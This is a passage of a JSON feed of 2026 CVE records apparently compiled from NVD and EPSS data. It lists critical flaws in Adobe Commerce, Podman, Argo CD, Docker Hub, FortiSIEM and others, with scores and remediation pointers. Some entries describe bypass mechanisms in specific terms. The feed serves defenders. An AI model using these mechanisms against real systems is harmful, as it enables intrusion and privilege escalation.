fixes.","publishedAt":"2026-10-13T19:17:55.417Z","updatedAt":"2026-10-19T19:17:18.800Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":9.8,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-104584","asOf":"2026-10-19T19:17:18.800Z"},"epss":{"probability":0.01594,"percentile":0.75528,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-104584&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-104584","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-104584","type":"primary","publishedAt":"2026-10-13T19:17:55.417Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-104584&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-104584, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-103849","cveId":"CVE-2026-103849","aliases":[],"kind":"vulnerability","title":"Adobe Commerce is affected by an Improper Neutralization of Special Elements Used in a Template Engine vulnerability that could result in arbitrary code execution in the context...","summary":"Adobe Commerce is affected by an Improper Neutralization of Special Elements Used in a Template Engine vulnerability that could result in arbitrary code execution in the context of the current user, potentially gaining elevated access or control over the victim's account or session. Exploitation of this issue does not require user interaction. Scope is changed.","detail":"Adobe Commerce is affected by an Improper Neutralization of Special Elements Used in a Template Engine vulnerability that could result in arbitrary code execution in the context of the current user, potentially gaining elevated access or control over the victim's account or session. Exploitation of this issue does not require user interaction. Scope is changed.\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T19:17:53.997Z","updatedAt":"2026-10-20T04:16:50.633Z","regions":["Global"],"vendor":null,"product":null,"stacks":["Adobe Commerce and Magento"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":10,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-103849","asOf":"2026-10-20T04:16:50.633Z"},"epss":{"probability":0.0117,"percentile":0.6718,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-103849&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-103849","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-103849","type":"primary","publishedAt":"2026-10-13T19:17:53.997Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-103849&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-103849, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-100133","cveId":"CVE-2026-100133","aliases":[],"kind":"vulnerability","title":"Adobe Commerce is affected by a stored Cross-Site Scripting (XSS) vulnerability that could be abused by an attacker to inject malicious scripts into vulnerable form fields.","summary":"Adobe Commerce is affected by a stored Cross-Site Scripting (XSS) vulnerability that could be abused by an attacker to inject malicious scripts into vulnerable form fields. Malicious JavaScript may be executed in a victim's browser when they browse to the page containing the vulnerable field, potentially gaining elevated access or control over the victim's account or session. Scope is changed.","detail":"Adobe Commerce is affected by a stored Cross-Site Scripting (XSS) vulnerability that could be abused by an attacker to inject malicious scripts into vulnerable form fields. Malicious JavaScript may be executed in a victim's browser when they browse to the page containing the vulnerable field, potentially gaining elevated access or control over the victim's account or session. Scope is changed.\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T19:17:39.690Z","updatedAt":"2026-10-16T23:16:57.907Z","regions":["Global"],"vendor":null,"product":null,"stacks":["Adobe Commerce and Magento"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":9.3,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:N","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-100133","asOf":"2026-10-16T23:16:57.907Z"},"epss":{"probability":0.01049,"percentile":0.64019,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-100133&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-100133","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-100133","type":"primary","publishedAt":"2026-10-13T19:17:39.690Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-100133&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-100133, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-92892","cveId":"CVE-2026-92892","aliases":[],"kind":"vulnerability","title":"Potential arbitrary code execution under specific configurations.","summary":"Potential arbitrary code execution under specific configurations.\nUpdated October 22, 2026: Affected versions now include JFrog CLI v2.127.0. For remediation, update to v2.128.0 or later.","detail":"Potential arbitrary code execution under specific configurations.\nUpdated October 22, 2026: Affected versions now include JFrog CLI v2.127.0. For remediation, update to v2.128.0 or later.\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T18:17:26.530Z","updatedAt":"2026-10-22T17:17:01.753Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":9,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:C/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-92892","asOf":"2026-10-22T17:17:01.753Z"},"epss":{"probability":0.0034,"percentile":0.27266,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-92892&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-92892","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-92892","type":"primary","publishedAt":"2026-10-13T18:17:26.530Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-92892&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-92892, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-52394","cveId":"CVE-2026-52394","aliases":[],"kind":"vulnerability","title":"DeepSeek V4 is vulnerable to Incorrect Access Control via a crafted input.","summary":"DeepSeek V4 is vulnerable to Incorrect Access Control via a crafted input.","detail":"DeepSeek V4 is vulnerable to Incorrect Access Control via a crafted input.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T18:17:24.103Z","updatedAt":"2026-10-16T19:56:15.773Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":9.1,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-52394","asOf":"2026-10-16T19:56:15.773Z"},"epss":{"probability":0.00397,"percentile":0.33688,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-52394&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-52394","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-52394","type":"primary","publishedAt":"2026-10-13T18:17:24.103Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-52394&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-52394, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-37107","cveId":"CVE-2026-37107","aliases":[],"kind":"vulnerability","title":"An issue in HTMLy v.3.1.1 allows a remote attacker to escalate privileges via the get_feed function in the admin.php component","summary":"An issue in HTMLy v.3.1.1 allows a remote attacker to escalate privileges via the get_feed function in the admin.php component","detail":"An issue in HTMLy v.3.1.1 allows a remote attacker to escalate privileges via the get_feed function in the admin.php component\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T18:17:23.847Z","updatedAt":"2026-10-16T19:56:15.773Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":9.8,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-37107","asOf":"2026-10-16T19:56:15.773Z"},"epss":{"probability":0.00638,"percentile":0.50299,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-37107&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-37107","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-37107","type":"primary","publishedAt":"2026-10-13T18:17:23.847Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-37107&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-37107, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-106173","cveId":"CVE-2026-106173","aliases":[],"kind":"vulnerability","title":"A improper limitation of a pathname to a restricted directory ('path traversal') vulnerability in Fortinet FortiSIEM 7.5.0 may allow attacker to execute unauthorized code or...","summary":"A improper limitation of a pathname to a restricted directory ('path traversal') vulnerability in Fortinet FortiSIEM 7.5.0 may allow attacker to execute unauthorized code or commands via specially crafted packets.","detail":"A improper limitation of a pathname to a restricted directory ('path traversal') vulnerability in Fortinet FortiSIEM 7.5.0 may allow attacker to execute unauthorized code or commands via specially crafted packets.\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T18:17:14.697Z","updatedAt":"2026-10-21T04:17:07.263Z","regions":["Global"],"vendor":null,"product":null,"stacks":["Fortinet"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":9.8,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-106173","asOf":"2026-10-21T04:17:07.263Z"},"epss":{"probability":0.00998,"percentile":0.62493,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-106173&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-106173","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-106173","type":"primary","publishedAt":"2026-10-13T18:17:14.697Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-106173&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-106173, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-105445","cveId":"CVE-2026-105445","aliases":[],"kind":"vulnerability","title":"An Incorrect Privilege Assignment vulnerability in Docker Hub's account-to-organization conversion feature allowed an authenticated attacker to reassign a personal access token...","summary":"An Incorrect Privilege Assignment vulnerability in Docker Hub's account-to-organization conversion feature allowed an authenticated attacker to reassign a personal access token (PAT) they controlled to another Docker Hub user without rotating or revoking the token secret. The unchanged PAT then authenticated to the registry as the recipient and could pull, push, or delete images, within its scopes, in repositories accessible to that user, including organization repositories.","detail":"An Incorrect Privilege Assignment vulnerability in Docker Hub's account-to-organization conversion feature allowed an authenticated attacker to reassign a personal access token (PAT) they controlled to another Docker Hub user without rotating or revoking the token secret. The unchanged PAT then authenticated to the registry as the recipient and could pull, push, or delete images, within its scopes, in repositories accessible to that user, including organization repositories.\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T18:17:13.167Z","updatedAt":"2026-10-19T13:16:53.920Z","regions":["Global"],"vendor":null,"product":null,"stacks":["Docker and containers"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":9.4,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-105445","asOf":"2026-10-19T13:16:53.920Z"},"epss":{"probability":0.0043,"percentile":0.37,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-105445&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-105445","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-105445","type":"primary","publishedAt":"2026-10-13T18:17:13.167Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-105445&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-105445, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-94603","cveId":"CVE-2026-94603","aliases":[],"kind":"vulnerability","title":"Podman is a tool for managing OCI containers and pods.","summary":"Podman is a tool for managing OCI containers and pods. From 4.4.0 until 5.8.8 and 6.1.3, podman run treats an image carrying the io.podman.annotations.checkpoint.runtime.name annotation as a checkpoint and silently ignores user-supplied container creation restrictions such as --cap-drop=ALL, allowing image-controlled checkpoint state to select weaker sandbox settings and capabilities. Rootless containers are not affected because checkpoint and restore are unavailable in that mode. This issue is fixed in versions 5.8.8 and 6.1.3.","detail":"Podman is a tool for managing OCI containers and pods. From 4.4.0 until 5.8.8 and 6.1.3, podman run treats an image carrying the io.podman.annotations.checkpoint.runtime.name annotation as a checkpoint and silently ignores user-supplied container creation restrictions such as --cap-drop=ALL, allowing image-controlled checkpoint state to select weaker sandbox settings and capabilities. Rootless containers are not affected because checkpoint and restore are unavailable in that mode. This issue is fixed in versions 5.8.8 and 6.1.3.\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T17:17:49.123Z","updatedAt":"2026-10-16T16:00:33.533Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":10,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-94603","asOf":"2026-10-16T16:00:33.533Z"},"epss":{"probability":0.00532,"percentile":0.44668,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-94603&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-94603","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-94603","type":"primary","publishedAt":"2026-10-13T17:17:49.123Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-94603&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-94603, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-78799","cveId":"CVE-2026-78799","aliases":[],"kind":"vulnerability","title":"Directory Traversal vulnerability in Quanxun Huiju Network Technology (Beijing) Co., Ltd IK-Q3000 Enterprise-grade Wi-Fi 6 wireless router Enterprise Edition: <=...","summary":"Directory Traversal vulnerability in Quanxun Huiju Network Technology (Beijing) Co., Ltd IK-Q3000 Enterprise-grade Wi-Fi 6 wireless router Enterprise Edition: <= iKuai8_3.7.23_Enterprise Build 202606021825 - Free Edition: <= iKuai 8_4.0.304-beta allows a remote attacker to execute arbitrary code.","detail":"Directory Traversal vulnerability in Quanxun Huiju Network Technology (Beijing) Co., Ltd IK-Q3000 Enterprise-grade Wi-Fi 6 wireless router Enterprise Edition: <= iKuai8_3.7.23_Enterprise Build 202606021825 - Free Edition: <= iKuai 8_4.0.304-beta allows a remote attacker to execute arbitrary code.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T17:17:46.453Z","updatedAt":"2026-10-16T19:56:15.773Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":9.8,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-78799","asOf":"2026-10-16T19:56:15.773Z"},"epss":{"probability":0.01312,"percentile":0.70468,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-78799&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-78799","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-78799","type":"primary","publishedAt":"2026-10-13T17:17:46.453Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-78799&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-78799, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-77459","cveId":"CVE-2026-77459","aliases":[],"kind":"vulnerability","title":"Argo CD is a declarative, GitOps continuous delivery tool for Kubernetes.","summary":"Argo CD is a declarative, GitOps continuous delivery tool for Kubernetes. From 2.10.0 until 3.3.15, 3.4.10, 3.5.4, and 3.6.0-rc2, Argo CD creates PostDelete resource hooks without applying the AppProject destination and resource authorization checks used during ordinary synchronization. The omitted checks include cluster-scoped and namespaced resource allow/deny lists. A user who can write to an Application's Git repository can commit a delete hook targeting a forbidden namespace, server, group, kind, or resource name, and deletion of the Application causes the application-controller to create that resource with its destination-cluster credentials. The reachable impact is bounded by the controller's cluster access but can include cluster-scoped resources, disallowed namespaces, persistent hook objects, and secondary objects created by a hook Job. PreSync, Sync, PostSync, and SyncFail hooks continue to use the normal project checks. This issue is fixed in versions 3.3.15, 3.4.10, 3.5.4, and 3.6.0-rc2.","detail":"Argo CD is a declarative, GitOps continuous delivery tool for Kubernetes. From 2.10.0 until 3.3.15, 3.4.10, 3.5.4, and 3.6.0-rc2, Argo CD creates PostDelete resource hooks without applying the AppProject destination and resource authorization checks used during ordinary synchronization. The omitted checks include cluster-scoped and namespaced resource allow/deny lists. A user who can write to an Application's Git repository can commit a delete hook targeting a forbidden namespace, server, group, kind, or resource name, and deletion of the Application causes the application-controller to create that resource with its destination-cluster credentials. The reachable impact is bounded by the controller's cluster access but can include cluster-scoped resources, disallowed namespaces, persistent hook objects, and secondary objects created by a hook Job. PreSync, Sync, PostSync, and SyncFail hooks continue to use the normal project checks. This issue is fixed in versions 3.3.15, 3.4.10, 3.5.4, and 3.6.0-rc2.\n\nNVD status: Undergoing Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T17:17:46.050Z","updatedAt":"2026-10-16T16:00:33.533Z","regions":["Global"],"vendor":null,"product":null,"stacks":["Kubernetes"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":9.9,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-77459","asOf":"2026-10-16T16:00:33.533Z"},"epss":{"probability":0.00498,"percentile":0.42365,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-77459&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-77459","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-77459","type":"primary","publishedAt":"2026-10-13T17:17:46.050Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-77459&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-77459, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-69227","cveId":"CVE-2026-69227","aliases":[],"kind":"vulnerability","title":"A flaw in Portal for ArcGIS allows unauthenticated access to \n\ncertain Portal Administrator API endpoints under specific conditions. This could enable an attacker to access...","summary":"A flaw in Portal for ArcGIS allows unauthenticated access to \n\ncertain Portal Administrator API endpoints under specific conditions. This could enable an attacker to access administrative functionality that should require authentication.","detail":"A flaw in Portal for ArcGIS allows unauthenticated access to \n\ncertain Portal Administrator API endpoints under specific conditions. This could enable an attacker to access administrative functionality that should require authentication.\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and 